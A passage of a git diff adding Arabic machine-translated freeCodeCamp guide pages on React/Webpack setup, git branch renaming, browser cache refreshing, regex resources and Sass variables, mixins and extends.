+  // arbitrary/url/login -> /arbitrary/url/sessions/new 
+  <Redirect from="login" to="sessions/new" /> 
+  // arbitrary/url/about/1 -> /arbitrary/url/profile/1 
+  <Redirect from="about/:id" to="profile/:id" /> 
+ 
+  <Route name="about-user" ... /> 
+  ... 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/react-with-webpack-file-structure/index.md b/client/src/guide/arabic/miscellaneous/react-with-webpack-file-structure/index.md
new file mode 100644
index 0000000000..c56d5a874c
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/react-with-webpack-file-structure/index.md
@@ -0,0 +1,109 @@
+---
+title: React with Webpack File Structure
+localeTitle: تتفاعل مع بنية ملف Webpack
+---
+الآن حان الوقت لإعداد هيكل الملف الخاص بنا قبل كتابة أي رمز.
+
+أولاً ، دعنا ننشئ ملفًا جديدًا باسم `.gitignore` :
+
+ `touch .gitignore 
+` 
+
+سيحتوي هذا الملف على قائمة بكافة الملفات والمجلدات التي **لن** يتم تضمينها عند دفع مشروعنا إلى GitHub. يوجد موقع ويب يخدم كود `.gitignore` لملفات `.gitignore` ، وهو أمر مفيد للغاية ، لأنه في كثير من الأحيان ، يمكن أن يكون ملف `.gitignore` طويلًا ومطولًا ، وقد ننسى بعض الملفات أو المجلدات التي نريد أن يتجاهلها Git.
+
+انتقل إلى [https://www.gitignore.io/](https://www.gitignore.io/) واكتب `Node` في شريط البحث ، ثم انقر على " `Generate` . سيؤدي ذلك إلى إنشاء ملف يبدو كالتالي:
+
+ `# Created by https://www.gitignore.io/api/node 
+ 
+ ### Node ### 
+ # Logs 
+ logs 
+ *.log 
+ npm-debug.log* 
+ 
+ # Runtime data 
+ pids 
+ *.pid 
+ *.seed 
+ 
+ # Directory for instrumented libs generated by jscoverage/JSCover 
+ lib-cov 
+ 
+ # Coverage directory used by tools like istanbul 
+ coverage 
+ 
+ # Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) 
+ .grunt 
+ 
+ # node-waf configuration 
+ .lock-wscript 
+ 
+ # Compiled binary addons (http://nodejs.org/api/addons.html) 
+ build/Release 
+ 
+ # Dependency directories 
+ node_modules 
+ jspm_packages 
+ 
+ # Optional npm cache directory 
+ .npm 
+ 
+ # Optional REPL history 
+ .node_repl_history 
+` 
+
+الآن يمكننا نسخ ولصق ذلك في ملف `.gitignore` بنا.
+
+لاحظ أن `.gitignore` ملف يجب أن تتضمن دائما `node_modules` . هذا أمر في غاية الأهمية ، لأننا لا نريد تضمين مجلد `node_modules` بنا مع `node_modules` Git ، حيث أنها تستهلك مساحة كبيرة على القرص ، ويمكن تثبيتها بتثبيت `npm install` ، والذي يشير إلى `package.json` لدينا.
+
+معظم الملفات والمجلدات المدرجة في ملف `.gitignore` بنا غير موجودة في مشروعنا حتى الآن ، ولكن إذا فعلت ذلك في المستقبل ، فلن يتم تضمينها في التزامات Git الخاصة بنا ، وهي مهمة ومفيدة ، لأننا يجب أن نكون انتقائي حول ما نرتكبه.
+
+الآن ، نحتاج إلى إنشاء مجلد جديد يحتوي على محتويات شفرة **التطوير الخاصة** بنا. دعونا نسميها `src` :
+
+ `mkdir src 
+` 
+
+بعد ذلك ، نحتاج إلى إنشاء مجلد يحتوي على ملفات نستخدمها لأغراض **الإنتاج** . سنسمي هذا المجلد `dist` :
+
+ `mkdir dist 
+` 
+
+*   [مساعدة: مزيد من المعلومات حول `src` و `dist` المجلدات](http://stackoverflow.com/questions/23730882/what-is-the-role-of-src-and-dist-folders/23731040#23731040)
+
+الآن بعد أن قمنا بتثبيت الحزم الخاصة بنا `dist` مجلدات `src` و `dist` فارغة ، ستبدو الشجرة كما هي (لا تشمل `.gitignore` ، وهو ملف مخفي):
+
+ `. 
+ ├── dist 
+ ├── node_modules 
+ ├── package.json 
+ ├── src 
+ └── webpack.config.js 
+` 
+
+الآن ، يمكننا إنشاء مجلد `js` جديد ينتقل إلى مجلد `src` بنا. سيحتوي هذا على جميع رموز التفاعل:
+
+ `mkdir src/js 
+` 
+
+يمكننا المضي قدما وخلق `client.js` فارغة في `src/js` لدينا. سيكون هذا هو ملفنا الرئيسي React:
+
+ `touch src/js/client.js 
+` 
+
+نحتاج أيضًا إلى `index.html` **لا يجب أن** يدخل مجلد `src` بنا ، بل إلى مجلد `dist` بنا ، لأنه مطلوب **لإنتاج** التطبيق لدينا:
+
+ `touch dist/index.html 
+` 
+
+الآن ، تبدو شجرتنا بشيء من هذا القبيل:
+
+ `. 
+ ├── dist 
+ │   └── index.html 
+ ├── node_modules 
+ ├── package.json 
+ ├── src 
+ │   └── js 
+ │       └── client.js 
+ └── webpack.config.js 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/refresh-your-browser-cache/index.md b/client/src/guide/arabic/miscellaneous/refresh-your-browser-cache/index.md
new file mode 100644
index 0000000000..d1113b11f6
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/refresh-your-browser-cache/index.md
@@ -0,0 +1,15 @@
+---
+title: Refresh Your Browser Cache
+localeTitle: تحديث ذاكرة التخزين المؤقت للمتصفح الخاص بك
+---
+قد يتعين عليك إجراء "تحديث ثابت" لصفحة في متصفحك إذا كنت تملك إصدارًا قديمًا ، نسخة مخبأة من ذلك الموقع.
+
+أثناء استخدام الموقع المسبب للمشكلة ، استخدم مجموعة المفاتيح أدناه لتشغيل تحديث ثابت وفقًا لنظام التشغيل الخاص بك:
+
+*   نظام التشغيل Windows: `CTRL + F5`
+*   جهاز Mac / Apple: `Apple + Shift + R or Command + Shift + R`
+*   Linux: `F5`
+
+لمعرفة المزيد عن هذا اقرأ: [http://refreshyourcache.com/en/cache/](http://refreshyourcache.com/en/cache/)
+
+إذا لم ينجح التحديث الثابت ، فجرّب فتح صفحة الإشكالية في وضع التصفح الخاص بالمتصفح.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/registering-your-nonprofit-to-raise-donations-through-free-code-camp-commit/index.md b/client/src/guide/arabic/miscellaneous/registering-your-nonprofit-to-raise-donations-through-free-code-camp-commit/index.md
new file mode 100644
index 0000000000..796ca4ad0a
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/registering-your-nonprofit-to-raise-donations-through-free-code-camp-commit/index.md
@@ -0,0 +1,12 @@
+---
+title: Registering Your Nonprofit to Raise Donations Through Free Code Camp Commit
+localeTitle: تسجيل مؤسستك غير الربحية لجمع التبرعات من خلال الالتزام المجاني بمخيم Code
+---
+سيضم برنامج الالتزام التابع لنا مؤسسة غير ربحية واحدة بشكل افتراضي ، وسيمنح المخيم خيار التصفح عبر قائمة للمنظمات غير الربحية الأخرى التي يمكنهم التعهد بها إذا أرادوا ذلك.
+
+إذا كنت ترغب في أن تتم إضافتك إلى قائمة المنظمات غير الربحية التي يمكن أن يلتزم بها المعسكر ، يرجى مراسلتنا عبر البريد الإلكتروني على team@freecodecamp.com مع المعلومات التالية:
+
+*   عنوان URL للصورة المربعة التي لا تقل عن 300 × 300 بكسل والتي تمثل مؤسستك (ويفضل أن تكون لقطة عمل لما تقوم به مؤسستك مع الأشخاص الموجودين فيه)
+*   رابط مباشر لصفحة التبرع الخاصة بك ، أو صفحة تحتوي على زر تبرع مضمن (صفحة التبرع الخاصة بك تحتاج إلى خيار تكرار الدفع الشهري ، والسماح بزيادات قدرها 5 و 10 و 25 و 50 دولارًا).
+
+إذا قبلنا ، فسنعطيك عنوان URL خاص يؤدي مباشرةً إلى صفحة الالتزام في المؤسسة غير الربحية. يمكنك المشاركة في وسائل التواصل الاجتماعي الخاصة بك لتحفيز الأشخاص على التعهد بمنظمتك غير الربحية من خلال التزام Free Code Camp.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/regular-expressions-resources/index.md b/client/src/guide/arabic/miscellaneous/regular-expressions-resources/index.md
new file mode 100644
index 0000000000..1faefe7f42
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/regular-expressions-resources/index.md
@@ -0,0 +1,37 @@
+---
+title: Regular Expressions Resources
+localeTitle: موارد التعبيرات العادية
+---
+> روابط لموارد RegEx مفيدة.
+
+*   [**الشروع في البرنامج التعليمي**](http://regexone.com) (يوصى FCC)
+*   [**RegEx 101**](https://regex101.com)
+
+## برنامج RegEx وأدلة
+
+*   [**برنامج RegEx التعليمي**](http://www.regular-expressions.info/tutorial.html) (شرح مفصل)
+*   [**ريجيت شيتشيت**](http://www.cheatography.com/davechild/cheat-sheets/regular-expressions)
+*   [**دليل MDN RegEx**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
+*   [**StackOverflow RegEx FAQ**](http://stackoverflow.com/a/22944075/1262108)
+*   [**فيديو ريجكس تعليمي**](https://www.youtube.com/watch?v=EkluES9Rvak)
+
+## اختبار ريجكس الأرض
+
+*   [**ريجسي متخيل**](https://www.debuggex.com/?flavor=javascript)
+*   [**تحديات RegEx في Hackerrank**](https://www.hackerrank.com/domains/algorithms/regex) (ممارسة)
+*   [**RegEx Regexplained**](https://leaverou.github.io/regexplained/)
+
+## لعبة RegEx
+
+*   [**ريجكس جولف**](http://regex.alf.nu)
+*   [**RegEx الكلمات المتقاطعة**](http://regexcrossword.com)
+
+## مدونة RegEx
+
+*   [**ريكس بيضة**](http://www.rexegg.com)
+
+## برنامج RegEx Aids
+
+*   [**RegExBuddy**](http://www.regexbuddy.com) (الملكية)
+*   [**Expresso**](http://www.ultrapico.com/expresso.htm) (مجاني)
+*   [**المدرب RegEx**](http://www.weitz.de/regex-coach/) (مجاني)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/removing-all-locally-stored-challenges/index.md b/client/src/guide/arabic/miscellaneous/removing-all-locally-stored-challenges/index.md
new file mode 100644
index 0000000000..3c4556c765
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/removing-all-locally-stored-challenges/index.md
@@ -0,0 +1,19 @@
+---
+title: Removing All Locally Stored Challenges
+localeTitle: إزالة جميع التحديات المخزنة محليًا
+---
+ستؤدي إزالة جميع التحديات المخزنة محليًا إلى حل العديد من المشكلات المتعلقة بتعطل المتصفح على FreeCodeCamp
+
+في Chrome:
+
+*   على [freecodecamp](https://freecodecamp.com) فتح وحدة التحكم الخاصة بك
+    *   نظام التشغيل Windows: `Ctrl` + `Shift` + `J`
+    *   نظام التشغيل Mac OS: `Cmd` + `Opt` + `J`
+*   انتقل إلى علامة التبويب الموارد (الكروم).
+    *   انقر على الرابط "التخزين المحلي" في شريط التنقل على اليسار.
+*   قم بحذف جميع الإدخالات على الجانب الأيمن ، أو قم بتشغيل هذا الأمر في وحدة تحكم المستعرض الخاص بك لمسح كافة الإدخالات من localStorage: `localStorage.clear();`
+*   تحقق مما إذا كان هذا يحل مشكلتك
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9ea6a9cf48282cbf2aa766a6aa5ce59218c80528.png)
+
+بدلاً من ذلك ، إذا كنت تواجه مشكلات تتعلق بتحدٍ معين بتجميد المتصفح ، [فابحث عن اسم هذا التحدي في وحدة التخزين المحلية واحذف هذا التحدي](http://forum.freecodecamp.com/t/clear-specific-values-from-your-browser-local-storage/19128) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/rename-local-branches-in-git/index.md b/client/src/guide/arabic/miscellaneous/rename-local-branches-in-git/index.md
new file mode 100644
index 0000000000..7eb311cc31
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/rename-local-branches-in-git/index.md
@@ -0,0 +1,21 @@
+---
+title: Rename Local Branches in Git
+localeTitle: إعادة تسمية الفروع المحلية في جيت
+---
+لإعادة تسمية فرع محلي ، أدخل ما يلي في المحطة:
+
+> `-m` يقف للحركة ، مثلما تستخدم `mv` في linux لإعادة تسمية الملفات.
+
+ `git branch -m <oldname> <newname> 
+` 
+
+إذا قمت بالفعل بفحص الفرع الذي تريد تغييره:
+
+ `git branch -m <newname> 
+` 
+
+في ما يلي مثال على إعادة تسمية فرع `feature/react-challenges` `fix/react-hikes` من FreeCodeCamp:
+
+ `git checkout feature/react-challenges 
+ git branch -m fix/react-hikes 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/restrict-access-to-authenticated-users-only/index.md b/client/src/guide/arabic/miscellaneous/restrict-access-to-authenticated-users-only/index.md
new file mode 100644
index 0000000000..0a6d8e693e
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/restrict-access-to-authenticated-users-only/index.md
@@ -0,0 +1,15 @@
+---
+title: Restrict Access to Authenticated Users Only
+localeTitle: تقييد الوصول إلى Authenticated Users فقط
+---
+لنفترض أن لديك مسارًا تريد تقييده للمستخدمين المسجلين ؛ ربما لديك صفحة `/profile` تسمح لمستخدميك بتعبئة بعض المعلومات عن أنفسهم ، ولكنها لن تعمل إذا لم يتم تسجيل الدخول. افتح **/client/app/profile/profile.js** وأضف `authenticate: true` to الخيارات التي تم تمريرها إلى _$ routeProvider.when_ مثل:
+
+ `    $routeProvider 
+      .when('/profile', { 
+        templateUrl: 'app/profile/profile.html', 
+        controller: 'ProfileCtrl', 
+        authenticate: true // restrict to authenticated users 
+      }); 
+` 
+
+بهذه الطريقة ، إذا لم تتم مصادقة المستخدم عند محاولة الوصول إلى صفحة `/profile` ، فسيتم إعادة توجيهه إلى شاشة تسجيل الدخول للمصادقة قبل المتابعة إلى صفحة ملفه الشخصي.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/reto-de-algoritmo-bu/index.md b/client/src/guide/arabic/miscellaneous/reto-de-algoritmo-bu/index.md
new file mode 100644
index 0000000000..28bdad4cb2
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/reto-de-algoritmo-bu/index.md
@@ -0,0 +1,45 @@
+---
+title: Reto De Algoritmo Bu
+localeTitle: خوارزمية التحدي بو
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+### شرح المشكلة:
+
+*   هذا البرنامج بسيط للغاية ، فالخدعة هي فهم أنه boolaneo بدائي. يتلقى البرنامج معلمة حقيقية أو خاطئة.
+
+## فكرة: 1
+
+*   يجب عليك التحقق من أن نوع المعلمة المستلمة هو boolaneo.
+
+## فكرة: 2
+
+*   للتحقق من نوع المعلمة ، يمكنك استخدام `typeof`
+
+## فكرة: 3
+
+*   لأنه يجب عليك إظهار true أو false ، يمكنك استخدام عبارة if أو ببساطة إرجاع العبارة التي قد تستخدمها في العبارة if.
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل أدناه!**
+
+## حل الرمز:
+
+ `function booWho(bool) { 
+  return typeof bool === 'boolean'; 
+ } 
+ 
+ // realizamos el test 
+ booWho(null); 
+` 
+
+![:rocket:](/images/emoji/emoji_one/rocket.png?v=2 ": صاروخ:") [في REPL!](https://repl.it/CLnK/0)
+
+# شرح الكود:
+
+نستخدم عامل التشغيل `typeof` للتحقق مما إذا كان المتغير boolanea. إذا كان الأمر كذلك ، فسوف يعود `true` . بخلاف ذلك ، سيتم عرض نوع آخر `falso` .
+
+> **ملاحظة:** الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة **محتوى ذي صلة** إلى المقالة. (يرجى عدم إزالة أي اسم موجود).
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/running-webpack-and-webpack-dev-server/index.md b/client/src/guide/arabic/miscellaneous/running-webpack-and-webpack-dev-server/index.md
new file mode 100644
index 0000000000..292d43c156
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/running-webpack-and-webpack-dev-server/index.md
@@ -0,0 +1,124 @@
+---
+title: Running Webpack and Webpack Dev Server
+localeTitle: تشغيل Webpack و Webpack ديف خادم
+---
+لقد حان الوقت لاستخدام Webpack. نظرًا لتثبيت Webpack عالميًا ، يمكننا تشغيل ما يلي في جهازنا:
+
+ `webpack 
+` 
+
+سيقوم هذا بتشغيل ملف `webpack.config.js` بنا. يجب أن يتم تشغيلها بنجاح ، ويجب أن نرى شيئًا كهذا يظهر في مطرافنا:
+
+ `Hash: 2474b15611d8d75c5a39 
+ Version: webpack 1.12.14 
+ Time: 1721ms 
+    Asset    Size  Chunks             Chunk Names 
+ bundle.js  679 kB       0  <a href='https://webpack.github.io/docs/webpack-dev-server.html' target='_blank' rel='nofollow'>emitted]  main 
+    + 159 hidden modules 
+` 
+
+لاحظ أنه يشير إلى `Asset` دعا `bundle.js` . يخبرنا Webpack أنه قد تم إنشاء هذا الملف عندما ركضنا الأمر `webpack` . تحقق من مجلد `dist` الخاص بك ، ويجب أن ترى `bundle.js` إلى جانب `index.html` الخاص بك.
+
+سوف تبدو شجرة لدينا الآن مثل هذا:
+
+ `. 
+ ├── dist 
+ |   ├── bundle.js 
+ │   └── index.html 
+ ├── node_modules 
+ ├── package.json 
+ ├── src 
+ │   └── js 
+ │       └── client.js 
+ └── webpack.config.js 
+` 
+
+والآن بعد أن أصبح لدينا `dist/bundle.js` ، يشير ملف `dist/index.html` الآن إلى ملف موجود! إذا ألقينا نظرة على `bundle.js` ، `bundle.js` أنها مجموعة من جميع ملفات جافا سكريبت في مشروعنا. رائع!
+
+تفضل بالبحث عن بعض محتويات `dist/bundle.js` ، مثل `This is one cool app!` . يمكننا أن نرى سياقه في الملف ، إنه في إطار أسلوب غريب يبحث:
+
+ `_createClass(Main, [{ 
+  key: 'render', 
+  value: function render() { 
+    return _react2.default.createElement( 
+      'div', 
+      null, 
+      _react2.default.createElement( 
+        'h1', 
+        null, 
+        'This is one cool app!' 
+      ) 
+    ); 
+  } 
+ }]); 
+` 
+
+هذا ما فعلته بابل. لقد حولت الشفرة إلى ES5 وضمنتها بين ملفات جافا سكريبت الأخرى - بما في ذلك جميع وحدات عقدة لدينا ، بالطبع. الآن يمكن أن تشير جميع ملفات React إلى هذه الحزمة باستخدام عبارات `import` ES6.
+
+أخيرًا ، حان الوقت للتحقق من التطبيق في المتصفح. لهذا ، سوف نستخدم Webpack Dev Server ، وهو عبارة عن أداة غنية بالميزات لاستخدامها في إعداد خادم `localhost` لتطوير الأغراض عند استخدام Webpack.
+
+*   \[مساعدة: المزيد عن Webpack ديف خادم
+
+المضي قدما وتشغيل:
+
+ `webpack-dev-server --content-base dist 
+` 
+
+نحتاج إلى تضمين `--content-base dist` لتحديد قاعدة محتوى لـ Webpack Dev Server ، بحيث يعرف مكان الحصول على الملفات ؛ في هذه الحالة ، إنه المجلد `dist` ، لأن هذا هو المجلد الذي نستخدمه **للإنتاج في** مقابل المجلد `src` ، والذي نستخدمه _لتطوير_ \*.
+
+في محطتنا ، يجب أن نرى شيئًا كالتالي:
+
+ `http://localhost:8080/webpack-dev-server/ 
+ webpack result is served from / 
+ content is served from /Code/react-webpack-example/dist 
+ Hash: 2474b15611d8d75c5a39 
+ Version: webpack 1.12.14 
+ Time: 3738ms 
+` 
+
+وبعد ذلك ستكون هناك قائمة طويلة جدًا لجميع الملفات المجمعة في `dist/bundle.js` من Webpack. رائعة حقا!
+
+الآن هو الوقت المناسب للتوجه إلى عنوان URL المقدم من خلال ذلك الأمر `webpack-dev-server` ، `http://localhost:8080/` . يجب أن نرى صفحة تحتوي على `h1` والتي تنص على ما يلي:
+
+ `This is one cool app! 
+` 
+
+فلنتحقق من جزء "العناصر" الخاص بك في أدوات المطور الخاصة بنا. يجب أن يكون لدينا ما يلي:
+
+ ``<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <title>React Webpack Example</title> 
+  <style type="text/css"></style> 
+ </head> 
+ <body> 
+  <!-- React app will be injected into the following `div` element: --> 
+  <div id="app"> 
+    <div data-reactid=".0"> 
+      <h1 data-reactid=".0.0">This is one cool app!</h1> 
+    </div> 
+  </div> 
+  <!-- Include bundled JavaScript: --> 
+  <script src="bundle.js"></script> 
+ </body> 
+ </html> 
+`` 
+
+إذا قمنا بهذا بما `src/js/client.js` في `src/js/client.js` ، فسوف نرى كيف يتم عرض React في `dist/index.html` .
+
+إذا حصلت على هذا الآن ، أحسنت! أنت الآن تعرف كيفية إعداد مساحة عمل باستخدام رمز React و Webpack و ES6 ، وهو أمر رائع ، ويعطيك نقطة البداية لإنشاء تطبيقات ويب رائعة باستخدام أحدث التقنيات.
+
+في البرنامج التعليمي التالي ، سنتناول بعض الخطوات المتقدمة ، بما في ذلك:
+
+*   الذهاب إلى مزيد من التفاصيل مع React
+*   النظر إلى بعض الميزات الرائعة الأخرى لـ Webpack ، مثل تجميع ملفات Sass
+*   باستخدام minification على `dist/bundle.js`
+
+#### معلومات اكثر:
+
+[موقع Webpack](https://webpack.js.org/)
+
+[Webpack جيثب](https://github.com/webpack/webpack)
+
+[webpack-dev-server جيثب](https://github.com/webpack/webpack-dev-server)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/sass-syntax-and-tools/index.md b/client/src/guide/arabic/miscellaneous/sass-syntax-and-tools/index.md
new file mode 100644
index 0000000000..8da7d74f3e
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/sass-syntax-and-tools/index.md
@@ -0,0 +1,184 @@
+---
+title: Sass Syntax and Tools
+localeTitle: ساس النحو والأدوات
+---
+_"فنان جيد فقط مثل أدواته."_
+
+هذا ليس صحيحًا بالضرورة ، لكن الأدوات التي نستخدمها يمكن أن تجعل حياتنا أكثر سهولة ومهامنا أكثر قابلية للإدارة. تخيل رمز الكتابة بدون اختصارات لوحة المفاتيح أو القصاصات المتاحة! ليس نهاية العالم ، ولكن يمكنك الحصول على جوهر.
+
+إن "الأدوات" ، أو التي يشار إليها بشكل أكثر شيوعًا كتوجيهات ، سنناقشها هي ميزات مضمّنة في الواقع تأتي مع Sass ويمكن أن تساعدنا كمطورين لكتابة DRY-er (لا تكرر نفسك) ورمز أنظف.
+
+_إذا كنت ترغب في المتابعة في محرر النصوص الخاص بك ، فإنني أوصي بتركيب **sass syntax** . يدعم Atom و Sublime Text بالإضافة إلى بعض المحررين الآخرين هذه._
+
+## المتغيرات
+
+إذا كنت قد كتبت رمزًا بلغة برمجة أخرى (JavaScript ، Python ، Java ، C ، إلخ.) فأنت على دراية بمفهوم المتغيرات. إذا لم يكن الأمر كذلك ، فإن المتغيرات هي في الأساس بيانات معلنة يمكن تخزين نوع من القيمة مثل رقم أو سلسلة.
+
+في Sass ، تعمل المتغيرات بشكل أساسي بنفس الطريقة ويمكن الإعلان عنها بحرف "$" بجوار اسم المتغير:
+
+ `$main-color: #CCCCCC; 
+` 
+
+يقوم المتغير أعلاه بتخزين رمز اللون ست عشري لنغمة اللون الرمادي. يمكن أن نعلن هذا المتغير داخل أي `.scss` أو `.sass` الملف الذي نعمل في أننا يمكن أن تشمل أيضا متغير إلى علامة (HTML5 العلامة، ID، والطبقة، محددات الزائفة) عند التصميم:
+
+ `$main-color: #CCCCCC; 
+ 
+ header { 
+  background-color: $main-color; 
+ } 
+` 
+
+في مقتطف الشفرة هذا ، قمنا بتعيين قيمة `background-color` الرأس إلى القيمة المخزنة `$main-color` ، والتي (عندما يبدأ تجميع Sass إلى CSS) على النحو التالي:
+
+ `header { 
+  background-color: #CCCCCC; 
+ } 
+` 
+
+أنيق! لكن ألا يمكننا فقط تعيين `background-color` إلى `#CCCCCC` في المقام الأول؟ الجواب نعم ، ولكن هناك ما هو أكثر من ذلك.
+
+لنفترض أننا نصمم موقعًا إلكترونيًا متعدد الصفحات لأحد العملاء ، وقد انتهينا للتو من انتقاء "نظام ألوان" بسيط يتألف من ثلاثة ألوان. شريط التنقل ، تذييل الصفحة ، لون واحد ، وربما تكون عناصر المقالة والفقرات والرؤوس أحد اللونين المتبقيين. ثم في يوم من الأيام يغير العميل رأيه في نظام الألوان الذي اخترناه ، ويريد تغييره. عظيم.
+
+لذلك ، فإننا مكلفون بمراجعة أوراق الأنماط المتعددة (أو ربما ورقة أنماط ضخمة إذا كنت تفضل ذلك) وتغيير كل قيم الألوان هذه. ربما نمزج واحدة. أو ربما نفتقد أحدنا ونضطر إلى العودة لإصلاحها.
+
+مع المتغيرات (واستخدام Sass parts التي سنناقشها لاحقًا) يمكننا ضبط القيم على إعلانات المتغيرات ، وفي كل مكان آخر ، استخدمنا المتغيرات في ورقة (صفحات) أنماطنا تتغير القيم لتعكس تخصيص المتغير الذي قمنا بتغييره. هذا مثال واحد فقط عن كيف يمكن أن تكون المتغيرات المفيدة عند استخدامها وفقًا لذلك في Sass. تصبح المتغيرات أكثر أهمية عندما نضيف إلى حزمة أدوات Sass الخاصة بنا.
+
+على هذه المذكرة ، دعونا نتعامل مع المزيج.
+
+## Mixins
+
+المزيج هو كتلة من التعليمات البرمجية القابلة لإعادة الاستخدام التي يمكن أن تأخذ الحجج ، مثل الكثير من وظيفة في جافا سكريبت يمكن. ومع ذلك ، لا يجب الخلط بينه وبين خاصية `@function` الفعلية في Sass.
+
+يتم الإعلان عن المزيج من خلال إدخال حرف "@" أمام كلمة "mixin" ، ثم اسم mixin. في ما يلي مثال على مزيج يسمى btn والذي يأخذ وسيطتين ويطبقهما على خصائص CSS:
+
+ `@mixin btn($color, $text-color) { 
+  background-color: $color; 
+  color: $text-color; 
+  padding: 1em; 
+ } 
+` 
+
+بعد كتابة المزيج ، لن يحدث أي شيء بشكل افتراضي لأننا لم نضع المزيج في الاستخدام (مثل كتابة وظيفة مقابل استدعاء وظيفة). دعونا دمج mixin لدينا. سيتم تضمينه في محدد `button` HTML5 باستخدام العبارة `@include` :
+
+_يسمح لنا بيان `@include` تصميم mixin الخاص بنا إلى محدد CSS من اختيارنا. في هذه الحالة ، يتم تمرير محدد `button` مع القيم الأزرق والأبيض كوسيطة._
+
+ `button { 
+  @include btn(blue, white); 
+ } 
+` 
+
+وهو شيء يمكننا استخدامه في أي محدد HTML آخر إذا اخترنا ذلك. سيترجم هذا إلى:
+
+ `button { 
+  background-color: blue; 
+  color: white; 
+  padding: 1em; 
+ } 
+` 
+
+فقط باستخدام السطر المفرد `@include btn(blue, white);` داخل محدد زرنا ، يمكننا جلب جميع التعليمات البرمجية المكتوبة داخل mixin لدينا مع الأزرق والأبيض مرت في الحجج. بالإضافة إلى ذلك ، يمكننا تعيين القيم الافتراضية للوسائط التي تم تمريرها إلى mixin. على سبيل المثال ، لنفرض أننا أردنا اختصار الزر الخاص بنا إلى لون معين ولون خط معين إذا لم يتم تمرير أي قيم عند استدعاء:
+
+ `@mixin button($color: green, $text-color: red) { 
+  background-color: $color; 
+  color: $text-color; 
+  padding: 1em; 
+ } 
+` 
+
+عن طريق الكتابة في ":" متبوعًا بالقيمة الافتراضية التي نريد تعيينها ، قمنا بتعيين اللون الأخضر كقيمة افتراضية لوسيطة `$color` الخاصة بنا ، والأحمر كقيمة افتراضية لوسيطة `$text-color` الخاصة بنا.
+
+الآن إذا كان علينا أن نطلق عليه مزيجنا دون تمرير أي قيم ...
+
+ `button { 
+  @include btn; 
+ } 
+` 
+
+هذا يتجسد في:
+
+ `button { 
+  background-color: green; 
+  color: red; 
+  padding: 1em; 
+ } 
+` 
+
+إذا أردنا أن نستخدم متغيراتنا مع مزيجنا ، فيمكننا القيام بذلك أيضًا:
+
+ `$main-color: #CCCCCC; 
+ $second-color: #FFFFFF; 
+ 
+ @mixin button($color: $main-color, $text-color: $second-color) { 
+  background-color: $color; 
+  color: $text-color; 
+  padding: 1em; 
+ } 
+` 
+
+في المثال أعلاه ، نعلن عن متغيرين بقيم لون سداسية عشري مميزة ، ثم نعين الوسيطتين `$color` و `$text-color` للإعداد الافتراضي للمتغيرات الخاصة بنا إذا لم يتم تمرير أي وسيطة.
+
+غالبًا ما يُنظر إلى ممارسة جيدة لتحديد القيم الافتراضية للمزيج ، ولكن ليس ضروريًا بالتأكيد. ستجد أن العديد من المطورين لديهم طريقتهم الخاصة في كتابة التعليمات البرمجية والآراء المتباينة حول ما يعتبر "الأفضل".
+
+المرح لن يتوقف هنا. هناك مجموعة جيدة من الحيل المفيدة الأخرى التي يمكننا القيام بها عند كتابة المزيج وكمية لا نهائية من الاحتمالات في كيفية كتابتها. المهم في التخلص من المزيج هو أنها تعمل كوحدات أو "كائنات" يمكن أن نعلن فيها عن أنماط معينة ، ونمرر القيم ، ونعيد استخدامها في الكود الذي نحتاج إليه ، بدلاً من تكرار أنفسنا باستمرار أثناء تصميم عناصر مختلفة. يمكن أن تساعدنا على البقاء أكثر صدقا لمبدأ جاف.
+
+## يمتد
+
+الأداة الأخيرة التي سنناقشها هي توجيه الامتداد. يمكن استخدام الامتدادات لتكرار نمط طبقناه سابقًا على عنصر آخر. ومع ذلك ، هناك الكثير مما يحدث خلف الكواليس عند تنفيذ التمديد ، وهذا يمكن أن يؤدي إلى بعض الآثار الجانبية غير المقصودة على التصميم لدينا إذا لم نكن حذرين.
+
+في ما يلي مثال لتوجيه التمديد الذي يتم استخدامه:
+
+ `.primary-module { 
+  color: red; 
+ } 
+ 
+ .another-module { 
+  @extend .primary-module; 
+ } 
+ 
+ // This ouputs the following CSS 
+ 
+ .primary-module, .another-module { 
+  color: red; 
+ } 
+` 
+
+لا شيء شادي جدا الذهاب هنا حتى الآن. لدينا استهداف محدد. `.another-module` تستخدم `.another-module` التصميم الذي تم تطبيقه على `.primary-module` . هذا يخرج تصميم `color: red;` يتم تطبيقها على الطبقة `.primary-module` و `.another-module` . منطقي حتى الآن وأداة لها تأثير مماثل لتشمل خلط على عدة عناصر تحتاج إلى مشاركة نفس التصميم.
+
+الآن دعونا نلقي نظرة فاحصة على مثال مختلف ونختار أين يعقد توجيه الامتداد قليلاً:
+
+ `.primary-module p { 
+  color: red; 
+ } 
+ 
+ .another-module { 
+  @extend .primary-module; 
+ } 
+ 
